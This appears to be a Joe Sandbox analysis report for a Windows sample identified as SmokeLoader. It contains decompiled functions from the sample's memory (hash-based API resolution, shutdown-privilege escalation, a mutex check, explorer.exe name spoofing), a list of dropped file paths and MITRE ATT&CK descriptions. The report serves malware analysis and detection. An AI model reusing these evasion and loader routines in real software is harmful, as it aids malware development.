Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D1F6() {
				intOrPtr _t2;
				intOrPtr _t6;
				intOrPtr _t10;
				intOrPtr _t14;
				intOrPtr _t19;
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t83;

				 *0x46c530 = GetModuleHandleA("kernel32.dll");
				_t2 =  *0x46c530; // 0x74ca0000
				 *0x46cfcc = E0040C2B9(_t83, _t2, 0xcb2370a1);
				_t39 =  *0x46c530; // 0x74ca0000
				 *0x46d008 = E0040C2B9(_t83, _t39, 0xe5c5590f);
				_t48 =  *0x46c530; // 0x74ca0000
				 *0x46d004 = E0040C2B9(_t83, _t48, 0xd00ee561);
				_t6 =  *0x46c530; // 0x74ca0000
				 *0x46d000 = E0040C2B9(_t83, _t6, 0x55277bdf);
				_t40 =  *0x46c530; // 0x74ca0000
				 *0x46cfec = E0040C2B9(_t83, _t40, 0x45a95ed9);
				_t49 =  *0x46c530; // 0x74ca0000
				 *0x46cfe8 = E0040C2B9(_t83, _t49, 0x30b3f45c);
				_t10 =  *0x46c530; // 0x74ca0000
				 *0x46cfe4 = E0040C2B9(_t83, _t10, 0x3712cedd);
				_t41 =  *0x46c530; // 0x74ca0000
				 *0x46cfdc = E0040C2B9(_t83, _t41, 0x603a5cda);
				_t50 =  *0x46c530; // 0x74ca0000
				 *0x46cfd8 = E0040C2B9(_t83, _t50, 0xe212a177);
				_t14 =  *0x46c530; // 0x74ca0000
				 *0x46cff0 = E0040C2B9(_t83, _t14, 0x8f3ad528);
				_t42 =  *0x46c530; // 0x74ca0000
				 *0x46cfd4 = E0040C2B9(_t83, _t42, 0x58735ed4);
				_t51 =  *0x46c530; // 0x74ca0000
				 *0x46cfd0 = E0040C2B9(_t83, _t51, 0x37055488);
				 *0x46c52c = LoadLibraryA("advapi32.dll");
				_t19 =  *0x46c52c; // 0x76a00000
				 *0x46cffc = E0040C2B9(_t83, _t19, 0xf1b3fb9d);
				_t43 =  *0x46c52c; // 0x76a00000
				 *0x46cff8 = E0040C2B9(_t83, _t43, 0xa081a5bd);
				_t52 =  *0x46c52c; // 0x76a00000
				 *0x46cff4 = E0040C2B9(_t83, _t52, 0x51b83d3b);
				_t23 =  *0x46c530; // 0x74ca0000
				 *0x46cfe0 = E0040C2B9(_t83, _t23, 0xac75b4fd);
				 *0x46c528 = LoadLibraryA("ntdll.dll");
				_t44 =  *0x46c528; // 0x77880000
				 *0x46cfc8 = E0040C2B9(_t83, _t44, 0xed6cabb3);
				_t53 =  *0x46c528; // 0x77880000
				 *0x46cfc4 = E0040C2B9(_t83, _t53, 0x65ce569d);
				_t28 =  *0x46c528; // 0x77880000
				 *0x46cfbc = E0040C2B9(_t83, _t28, 0x11b68aa8);
				_t45 =  *0x46c528; // 0x77880000
				 *0x46cfb8 = E0040C2B9(_t83, _t45, 0x3b36e07a);
				_t54 =  *0x46c528; // 0x77880000
				 *0x46cfb4 = E0040C2B9(_t83, _t54, 0x63a35b55);
				_t32 =  *0x46c528; // 0x77880000
				 *0x46cfc0 = E0040C2B9(_t83, _t32, 0xfd3a0e6a);
				_t46 =  *0x46c528; // 0x77880000
				 *0x46cfb0 = E0040C2B9(_t83, _t46, 0x2c434735);
				_t55 =  *0x46c528; // 0x77880000
				 *0x46cfac = E0040C2B9(_t83, _t55, 0x18f25cd6);
				_t36 =  *0x46c528; // 0x77880000
				 *0x46cfa8 = E0040C2B9(_t83, _t36, 0x7919b00);
				_t47 =  *0x46c528; // 0x77880000
				_t38 = E0040C2B9(_t83, _t47, 0xb272ea3d);
				 *0x46cfa4 = _t38;
				return _t38;
			}

0x0040d204
0x0040d20e
0x0040d21c
0x0040d226
0x0040d235
0x0040d23f
0x0040d24e
0x0040d258
0x0040d266
0x0040d270
0x0040d27f
0x0040d289
0x0040d298
0x0040d2a2
0x0040d2b0
0x0040d2ba
0x0040d2c9
0x0040d2d3
0x0040d2e2
0x0040d2ec
0x0040d2fa
0x0040d304
0x0040d313
0x0040d31d
0x0040d32c
0x0040d33c
0x0040d346
0x0040d354
0x0040d35e
0x0040d36d
0x0040d377
0x0040d386
0x0040d390
0x0040d39e
0x0040d3ae
0x0040d3b8
0x0040d3c7
0x0040d3d1
0x0040d3e0
0x0040d3ea
0x0040d3f8
0x0040d402
0x0040d411
0x0040d41b
0x0040d42a
0x0040d434
0x0040d442
0x0040d44c
0x0040d45b
0x0040d465
0x0040d474
0x0040d47e
0x0040d48c
0x0040d496
0x0040d49d
0x0040d4a5
0x0040d4ab

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

ntdll.dll, xrefs: 0040D3A3
kernel32.dll, xrefs: 0040D1F9
advapi32.dll, xrefs: 0040D331

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 004023F2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82
libraryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E004023F2(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v56;
				intOrPtr _t34;
				void* _t43;
				void* _t57;
				void* _t64;

				_t64 = __eflags;
				_v8 = 0;
				_v8 = LoadLibraryA("advapi32.dll");
				_v24 = E0040C2B9(_t64, _v8, 0xcb281c54);
				_v28 = E0040C2B9(_t64, _v8, 0x67340137);
				_v36 = E0040C2B9(_t64, _v8, 0x11143a65);
				_t34 =  *0x46c530; // 0x74ca0000
				_v20 = E0040C2B9(_t64, _t34, 0xb65a6df4);
				_push(_v20(0x28,  &_v32));
				if(_v24() == 0) {
					L4:
					return 0;
				}
				_v28(0, "SeShutdownPrivilege", _t57 + 0xffffffffffffffd0);
				_v56 = 1;
				 *((intOrPtr*)(_t57 + 0xffffffffffffffd8)) = 2;
				_t43 = _v36(_v32, 0,  &_v56, 0, 0,  &_v40);
				_t66 = _t43;
				if(_t43 == 0) {
					goto L4;
				}
				_v12 = 0;
				_v16 = 0;
				_v12 = LoadLibraryA("NTDLL.DLL");
				_v16 = E0040C2B9(_t66, _v12, 0xce91d18);
				_v16(1);
				return 1;
			}

0x004023f2
0x004023f8
0x0040240a
0x0040241e
0x00402432
0x00402446
0x0040244e
0x0040245c
0x00402468
0x0040246e
0x0040be06
0x00000000
0x0040be06
0x00402488
0x0040248b
0x0040249a
0x004024b4
0x004024b7
0x004024b9
0x00000000
0x00000000
0x004024bf
0x004024c6
0x004024d8
0x004024ec
0x004024f1
0x00000000

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2

Strings

advapi32.dll, xrefs: 004023FF
SeShutdownPrivilege, xrefs: 00402481
NTDLL.DLL, xrefs: 004024CD

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 1029625771-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00405312(WCHAR* _a4, intOrPtr _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				unsigned int _v16;
				intOrPtr _v20;
				short _v22;
				char _v24;
				void* _v32;

				if(_a12 <= 0x7ffd) {
					_v12 = _a12;
				} else {
					_v12 = 0x7ffd;
				}
				E0040335C( &_v32,  &_v32, 8);
				RtlInitUnicodeString( &_v32, _a4);
				_v20 = _a8;
				_v24 = 0;
				_v22 = _v12 << 1;
				_v16 = 0;
				_v8 =  *0x46cfc0(0,  &_v32,  &_v24,  &_v16);
				if(_v8 >= 0) {
					L7:
					return _v16 >> 1;
				} else {
					if(_v8 != 0xc0000023) {
						goto L1;
					}
					goto L7;
				}
				L1:
				RtlRestoreLastWin32Error(RtlNtStatusToDosError(_v8));
				return 0;
			}

0x0040531f
0x0040c39a
0x00405325
0x00405325
0x00405325
0x00408332
0x00408342
0x0040834b
0x00408350
0x00408359
0x0040835d
0x00408378
0x0040837f
0x0040b659
0x00000000
0x00408385
0x0040838c
0x00000000
0x00000000
0x00000000
0x00408392
0x004037e4
0x004037ef
0x00000000

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004050A2(void* __ecx, struct _EXCEPTION_RECORD _a4, intOrPtr _a8, WCHAR* _a12) {
				intOrPtr _v8;
				intOrPtr _t12;

				_push(__ecx);
				_v8 = _a8;
				_t12 =  *((intOrPtr*)(_a4 + 0x18));
				if(_t12 ==  *((intOrPtr*)(_v8 + 8))) {
					__ecx =  *0x46c2d0; // 0x720000
					RtlInitUnicodeString(_a4 + 0x24, __ecx);
					__eax = _a4;
					__eax = _a4 + 0x2c;
					RtlInitUnicodeString(__eax, L"explorer.exe");
					__ecx = _a12;
					 *_a12 = 1;
					return __eax;
				}
				 *_a12 = 0;
				return _t12;
			}

0x004050a5
0x004050a9
0x004050b2
0x004050b8
0x004050be
0x004050cc
0x004050d7
0x004050da
0x004050de
0x004050e4
0x004050e7
0x00000000
0x004050e7
0x004043bf
0x00000000

APIs

RtlInitUnicodeString.NTDLL(?,00720000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403AEE(void* __ecx) {
				struct _SECURITY_ATTRIBUTES* _v8;

				 *0x46c534 = CreateMutexW(0, 0, L"WTfewgNmxpcaVXHKTu");
				if(GetLastError() == 0xb7) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				return _v8;
			}

0x00403b01
0x00403b11
0x00403e7a
0x00403b17
0x00403b17
0x00403b17
0x004021a0

APIs

CreateMutexW.KERNEL32(00000000,00000000,WTfewgNmxpcaVXHKTu,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

WTfewgNmxpcaVXHKTu, xrefs: 00403AF2

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: WTfewgNmxpcaVXHKTu
API String ID: 1925916568-3869692174
Opcode ID: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction ID: a0a935667e3c440a3b0ad9d72cf5864bc57c65037e1d1e5c0e0eaa538b974b95
Opcode Fuzzy Hash: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction Fuzzy Hash: F7D017B040A304EAE3009F50DE4DB597EB4EB04703F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\AF0C.exe

C:\Users\user\AppData\Local\Temp\B9D7.exe

C:\Users\user\AppData\Local\Temp\C60F.exe

C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\eviivjg

C:\Users\user\AppData\Roaming\eviivjg:Zone.Identifier

C:\Users\user\pigalicapi.exe

Static File Info

General

Windows Analysis Report
file.exe

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Function 00953E01 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0076003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 00760E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre